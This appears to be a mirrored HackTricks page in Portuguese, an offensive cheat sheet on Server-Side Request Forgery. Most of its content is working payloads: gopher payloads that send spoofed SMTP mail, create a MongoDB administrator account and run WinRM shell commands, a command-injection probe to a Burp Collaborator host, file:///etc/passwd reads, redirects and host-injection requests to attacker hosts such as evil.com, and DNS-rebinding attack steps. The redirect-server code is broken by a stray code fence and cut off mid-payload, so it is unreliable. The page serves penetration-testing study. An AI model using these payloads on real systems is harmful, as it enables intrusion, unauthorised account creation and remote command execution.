mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-27 13:33:37 +00:00
383 lines
24 KiB
Markdown
383 lines
24 KiB
Markdown
# SSRF (Server Side Request Forgery)
|
|
|
|
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
|
Acesse hoje:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Informações Básicas
|
|
|
|
Uma vulnerabilidade de **Server-side Request Forgery (SSRF)** ocorre quando um atacante manipula uma **aplicação do lado do servidor** para fazer **requisições HTTP** para um domínio de sua escolha. Essa vulnerabilidade expõe o servidor a requisições externas arbitrárias direcionadas pelo atacante.
|
|
|
|
## Captura de SSRF
|
|
|
|
A primeira coisa que você precisa fazer é capturar uma interação SSRF gerada por você. Para capturar uma interação HTTP ou DNS, você pode usar ferramentas como:
|
|
|
|
* **Burp Collaborator**
|
|
* [**pingb**](http://pingb.in)
|
|
* [**canarytokens**](https://canarytokens.org/generate)
|
|
* [**interractsh**](https://github.com/projectdiscovery/interactsh)
|
|
* [**http://webhook.site**](http://webhook.site)
|
|
* [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
|
|
* [http://requestrepo.com/](http://requestrepo.com/)
|
|
* [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
|
|
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - Um Burp Collaborator usando ngrok
|
|
|
|
## Bypass de Domínios na Lista Branca
|
|
|
|
Normalmente, você descobrirá que o SSRF está funcionando apenas em **certos domínios ou URLs na lista branca**. Na página a seguir, você tem uma **compilação de técnicas para tentar burlar essa lista branca**:
|
|
|
|
{% content-ref url="url-format-bypass.md" %}
|
|
[url-format-bypass.md](url-format-bypass.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Bypass via redirecionamento aberto
|
|
|
|
Se o servidor estiver corretamente protegido, você pode **burlar todas as restrições explorando um Redirecionamento Aberto dentro da página da web**. Como a página da web permitirá **SSRF para o mesmo domínio** e provavelmente seguirá os redirecionamentos, você pode explorar o **Redirecionamento Aberto para fazer o servidor acessar qualquer recurso interno**.\
|
|
Leia mais aqui: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
|
|
|
## Protocolos
|
|
|
|
* **file://**
|
|
* O esquema de URL `file://` é referenciado, apontando diretamente para `/etc/passwd`: `file:///etc/passwd`
|
|
* **dict://**
|
|
* O esquema de URL DICT é descrito como sendo utilizado para acessar definições ou listas de palavras via o protocolo DICT. Um exemplo ilustra um URL construído direcionando uma palavra específica, banco de dados e número de entrada, bem como uma instância de um script PHP potencialmente sendo mal utilizado para se conectar a um servidor DICT usando credenciais fornecidas pelo atacante: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
|
* **SFTP://**
|
|
* Identificado como um protocolo para transferência segura de arquivos sobre shell seguro, um exemplo é fornecido mostrando como um script PHP poderia ser explorado para se conectar a um servidor SFTP malicioso: `url=sftp://generic.com:11111/`
|
|
* **TFTP://**
|
|
* O Protocolo de Transferência de Arquivos Triviais, operando sobre UDP, é mencionado com um exemplo de um script PHP projetado para enviar uma solicitação a um servidor TFTP. Uma solicitação TFTP é feita para 'generic.com' na porta '12346' para o arquivo 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
|
* **LDAP://**
|
|
* Este segmento abrange o Protocolo de Acesso a Diretórios Leves, enfatizando seu uso para gerenciar e acessar serviços de informações de diretório distribuídos em redes IP. Interaja com um servidor LDAP em localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
|
* **SMTP**
|
|
* Um método é descrito para explorar vulnerabilidades de SSRF para interagir com serviços SMTP em localhost, incluindo etapas para revelar nomes de domínio internos e ações investigativas adicionais com base nessas informações.
|
|
```
|
|
From https://twitter.com/har1sec/status/1182255952055164929
|
|
1. connect with SSRF on smtp localhost:25
|
|
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
|
|
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
|
|
4. connect
|
|
```
|
|
* **Curl URL globbing - Bypass de WAF**
|
|
* Se o SSRF for executado pelo **curl**, o curl possui um recurso chamado [**URL globbing**](https://everything.curl.dev/cmdline/globbing) que poderia ser útil para contornar WAFs. Por exemplo, neste [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) você pode encontrar este exemplo de **travessia de caminho via protocolo `file`**:
|
|
```
|
|
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
|
```
|
|
* **Gopher://**
|
|
* A capacidade do protocolo Gopher de especificar IP, porta e bytes para comunicação com o servidor é discutida, juntamente com ferramentas como Gopherus e remote-method-guesser para criar payloads. Dois usos distintos são ilustrados:
|
|
|
|
### Gopher://
|
|
|
|
Usando este protocolo, você pode especificar o **IP, porta e bytes** que deseja que o servidor **envie**. Em seguida, você pode basicamente explorar um SSRF para **comunicar com qualquer servidor TCP** (mas você precisa saber como falar com o serviço primeiro).\
|
|
Felizmente, você pode usar [Gopherus](https://github.com/tarunkant/Gopherus) para criar payloads para vários serviços. Além disso, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) pode ser usado para criar payloads _gopher_ para serviços _Java RMI_.
|
|
|
|
**Gopher smtp**
|
|
```
|
|
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
|
|
will make a request like
|
|
HELO localhost
|
|
MAIL FROM:<hacker@site.com>
|
|
RCPT TO:<victim@site.com>
|
|
DATA
|
|
From: [Hacker] <hacker@site.com>
|
|
To: <victime@site.com>
|
|
Date: Tue, 15 Sep 2017 17:20:26 -0400
|
|
Subject: Ah Ah AHYou didn't say the magic word !
|
|
.
|
|
QUIT
|
|
```
|
|
**Gopher HTTP**
|
|
```bash
|
|
#For new lines you can use %0A, %0D%0A
|
|
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
|
|
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
|
|
```
|
|
**Gopher SMTP — Conexão de retorno para 1337**
|
|
|
|
{% code title="redirect.php" %}
|
|
```php
|
|
<?php
|
|
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
|
|
?>Now query it.
|
|
https://example.com/?q=http://evil.com/redirect.php.
|
|
```
|
|
{% endcode %}
|
|
|
|
#### Gopher MongoDB -- Criar usuário com nome de usuário=admin com senha=admin123 e com permissão=administrador
|
|
```bash
|
|
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
|
|
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
|
|
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
|
|
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
|
|
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
|
|
%00%00administrator%00%00%00%00'
|
|
```
|
|
## SSRF via cabeçalho Referrer e Outros
|
|
|
|
O software de análise em servidores frequentemente registra o cabeçalho Referrer para rastrear links de entrada, uma prática que expõe inadvertidamente aplicações a vulnerabilidades de SSRF (Server-Side Request Forgery). Isso ocorre porque esse tipo de software pode visitar URLs externos mencionados no cabeçalho Referrer para analisar o conteúdo do site de referência. Para descobrir essas vulnerabilidades, o plugin do Burp Suite "**Collaborator Everywhere**" é recomendado, aproveitando a forma como as ferramentas de análise processam o cabeçalho Referer para identificar possíveis superfícies de ataque de SSRF.
|
|
|
|
## SSRF via dados SNI do certificado
|
|
|
|
Uma configuração incorreta que poderia permitir a conexão a qualquer backend por meio de uma configuração simples é ilustrada com um exemplo de configuração do Nginx:
|
|
```
|
|
stream {
|
|
server {
|
|
listen 443;
|
|
resolver 127.0.0.11;
|
|
proxy_pass $ssl_preread_server_name:443;
|
|
ssl_preread on;
|
|
}
|
|
}
|
|
```
|
|
Nesta configuração, o valor do campo Server Name Indication (SNI) é diretamente utilizado como endereço do backend. Esta configuração expõe uma vulnerabilidade a Server-Side Request Forgery (SSRF), que pode ser explorada simplesmente especificando o endereço IP desejado ou nome de domínio no campo SNI. Um exemplo de exploração para forçar uma conexão a um backend arbitrário, como `internal.host.com`, usando o comando `openssl`, é fornecido abaixo:
|
|
```bash
|
|
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
|
```
|
|
## [Upload de arquivo Wget](../file-upload/#upload-de-arquivo-wget-truque-ssrf)
|
|
|
|
## SSRF com Injeção de Comando
|
|
|
|
Pode valer a pena tentar um payload como: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
|
|
|
|
## Renderização de PDFs
|
|
|
|
Se a página da web estiver criando automaticamente um PDF com algumas informações que você forneceu, você pode **inserir algum JS que será executado pelo próprio criador de PDF** (o servidor) ao criar o PDF e você poderá abusar de um SSRF. [**Encontre mais informações aqui**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
|
|
|
## De SSRF para DoS
|
|
|
|
Crie várias sessões e tente baixar arquivos pesados explorando o SSRF das sessões.
|
|
|
|
## Funções PHP SSRF
|
|
|
|
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %}
|
|
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
|
|
{% endcontent-ref %}
|
|
|
|
## SSRF Redirecionar para Gopher
|
|
|
|
Para algumas explorações, você pode precisar **enviar uma resposta de redirecionamento** (potencialmente para usar um protocolo diferente como gopher). Aqui você tem diferentes códigos python para responder com um redirecionamento:
|
|
```python
|
|
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
|
|
from http.server import HTTPServer, BaseHTTPRequestHandler
|
|
import ssl
|
|
|
|
class MainHandler(BaseHTTPRequestHandler):
|
|
def do_GET(self):
|
|
print("GET")
|
|
self.send_response(301)
|
|
```html
|
|
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%6f%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%6f%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%6f%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%6f%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%6f%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%6f%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%6f%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%
|
|
```python
|
|
self.end_headers()
|
|
|
|
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
|
|
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
|
|
httpd.serve_forever()
|
|
```
|
|
|
|
```python
|
|
from flask import Flask, redirect
|
|
from urllib.parse import quote
|
|
app = Flask(__name__)
|
|
|
|
@app.route('/')
|
|
def root():
|
|
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
|
|
|
|
if __name__ == "__main__":
|
|
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|
```
|
|
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
|
|
Acesse hoje mesmo:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
## Proxies mal configurados para SSRF
|
|
|
|
Truques [**deste post**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
|
|
|
### Flask
|
|
|
|
<details>
|
|
|
|
<summary>Código vulnerável do proxy Flask</summary>
|
|
```python
|
|
from flask import Flask
|
|
from requests import get
|
|
|
|
app = Flask('__main__')
|
|
SITE_NAME = 'https://google.com'
|
|
|
|
@app.route('/', defaults={'path': ''})
|
|
@app.route('/<path:path>')
|
|
|
|
def proxy(path):
|
|
return get(f'{SITE_NAME}{path}').content
|
|
|
|
if __name__ == "__main__":
|
|
app.run(threaded=False)
|
|
```
|
|
</details>
|
|
|
|
Flask permite usar **`@`** como caractere inicial, o que permite fazer com que o **nome do host inicial seja o nome de usuário** e injetar um novo. Solicitação de ataque:
|
|
```http
|
|
GET @evildomain.com/ HTTP/1.1
|
|
Host: target.com
|
|
Connection: close
|
|
```
|
|
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
|
|
|
|
Código vulnerável:
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1201).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Foi descoberto que é possível **iniciar o caminho** de uma solicitação com o caractere **`;`** o que permite usar então **`@`** e injetar um novo host para acessar. Solicitação de ataque:
|
|
```http
|
|
GET ;@evil.com/url HTTP/1.1
|
|
Host: target.com
|
|
Connection: close
|
|
```
|
|
### Servidor Web Integrado do PHP <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
|
|
|
|
<details>
|
|
|
|
<summary>Código PHP vulnerável</summary>
|
|
```php
|
|
<?php
|
|
$site = "http://ifconfig.me";
|
|
$current_uri = $_SERVER['REQUEST_URI'];
|
|
|
|
$proxy_site = $site.$current_uri;
|
|
var_dump($proxy_site);
|
|
|
|
echo "\n\n";
|
|
|
|
$response = file_get_contents($proxy_site);
|
|
var_dump($response);
|
|
?>
|
|
```
|
|
</details>
|
|
|
|
O PHP permite o uso do **char `*` antes de uma barra na URL**, no entanto, possui outras limitações como só poder ser usado para o caminho raiz `/` e que pontos `.` não são permitidos antes da primeira barra, sendo necessário usar um endereço IP codificado em hex sem pontos, por exemplo:
|
|
```http
|
|
GET *@0xa9fea9fe/ HTTP/1.1
|
|
Host: target.com
|
|
Connection: close
|
|
```
|
|
## Bypass de CORS/SOP com DNS Rebidding
|
|
|
|
Se você está tendo **problemas** para **exfiltrar conteúdo de um IP local** por causa do **CORS/SOP**, o **DNS Rebidding** pode ser usado para contornar essa limitação:
|
|
|
|
{% content-ref url="../cors-bypass.md" %}
|
|
[cors-bypass.md](../cors-bypass.md)
|
|
{% endcontent-ref %}
|
|
|
|
### DNS Rebidding Automatizado
|
|
|
|
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar ataques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Inclui os componentes necessários para reverter o endereço IP do servidor de ataque para o nome DNS da máquina alvo e para servir payloads de ataque para explorar software vulnerável na máquina alvo.
|
|
|
|
Confira também o **servidor em execução publicamente em** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
|
|
|
|
## DNS Rebidding + ID de Sessão TLS/Ticket de Sessão
|
|
|
|
Requisitos:
|
|
|
|
* **SSRF**
|
|
* **Sessões TLS de saída**
|
|
* **Coisas em portas locais**
|
|
|
|
Ataque:
|
|
|
|
1. Peça ao usuário/robô **acessar** um **domínio** controlado pelo **atacante**
|
|
2. O **TTL** do **DNS** é de **0** seg (então a vítima verificará o IP do domínio novamente em breve)
|
|
3. Uma **conexão TLS** é criada entre a vítima e o domínio do atacante. O atacante introduz o **payload dentro** do **ID de Sessão ou Ticket de Sessão**.
|
|
4. O **domínio** iniciará um **loop infinito** de redirecionamentos contra **ele mesmo**. O objetivo disso é fazer o usuário/robô acessar o domínio até que ele realize **novamente** uma **solicitação DNS** do domínio.
|
|
5. Na solicitação DNS, um endereço de **IP privado** é fornecido **agora** (127.0.0.1, por exemplo)
|
|
6. O usuário/robô tentará **restabelecer a conexão TLS** e para fazer isso ele irá **enviar** o ID de **Sessão ou Ticket de Sessão** (onde o **payload** do atacante estava contido). Parabéns, você conseguiu fazer o **usuário/robô atacar a si mesmo**.
|
|
|
|
Durante esse ataque, se você quiser atacar localhost:11211 (_memcache_), você precisa fazer a vítima estabelecer a conexão inicial com www.attacker.com:11211 (a **porta deve sempre ser a mesma**).\
|
|
Para **realizar esse ataque você pode usar a ferramenta**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
|
Para **mais informações**, confira a palestra onde esse ataque é explicado: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
|
|
|
|
## SSRF Cego
|
|
|
|
A diferença entre um SSRF cego e um não cego é que no cego você não consegue ver a resposta da solicitação SSRF. Portanto, é mais difícil de explorar porque você só poderá explorar vulnerabilidades conhecidas.
|
|
|
|
### SSRF baseado em tempo
|
|
|
|
**Verificando o tempo** das respostas do servidor, pode ser **possível saber se um recurso existe ou não** (talvez leve mais tempo para acessar um recurso existente do que acessar um que não existe)
|
|
|
|
## Exploração de SSRF na Nuvem
|
|
|
|
Se você encontrar uma vulnerabilidade de SSRF em uma máquina em execução dentro de um ambiente de nuvem, você pode obter informações interessantes sobre o ambiente de nuvem e até mesmo credenciais:
|
|
|
|
{% content-ref url="cloud-ssrf.md" %}
|
|
[cloud-ssrf.md](cloud-ssrf.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Plataformas Vulneráveis ao SSRF
|
|
|
|
Várias plataformas conhecidas contêm ou já contiveram vulnerabilidades de SSRF, verifique-as em:
|
|
|
|
{% content-ref url="ssrf-vulnerable-platforms.md" %}
|
|
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Ferramentas
|
|
|
|
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
|
|
|
|
Ferramenta para detectar e explorar vulnerabilidades de SSRF
|
|
|
|
### [Gopherus](https://github.com/tarunkant/Gopherus)
|
|
|
|
* [Postagem no blog sobre o Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
|
|
|
|
Esta ferramenta gera payloads Gopher para:
|
|
|
|
* MySQL
|
|
* PostgreSQL
|
|
* FastCGI
|
|
* Redis
|
|
* Zabbix
|
|
* Memcache
|
|
|
|
### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
|
|
|
* [Postagem no blog sobre o uso de SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
|
|
|
_remote-method-guesser_ é um scanner de vulnerabilidades _Java RMI_ que suporta operações de ataque para a maioria das vulnerabilidades comuns do _Java RMI_. A maioria das operações disponíveis suporta a opção `--ssrf`, para gerar um payload _SSRF_ para a operação solicitada. Juntamente com a opção `--gopher`, payloads _gopher_ prontos para uso podem ser gerados diretamente.
|
|
|
|
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
|
|
|
|
SSRF Proxy é um servidor proxy HTTP multi-threaded projetado para canalizar o tráfego HTTP do cliente por meio de servidores HTTP vulneráveis a Server-Side Request Forgery (SSRF).
|
|
|
|
### Para praticar
|
|
|
|
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
|
|
|
|
## Referências
|
|
|
|
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
|
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
|
|
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
|
|
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|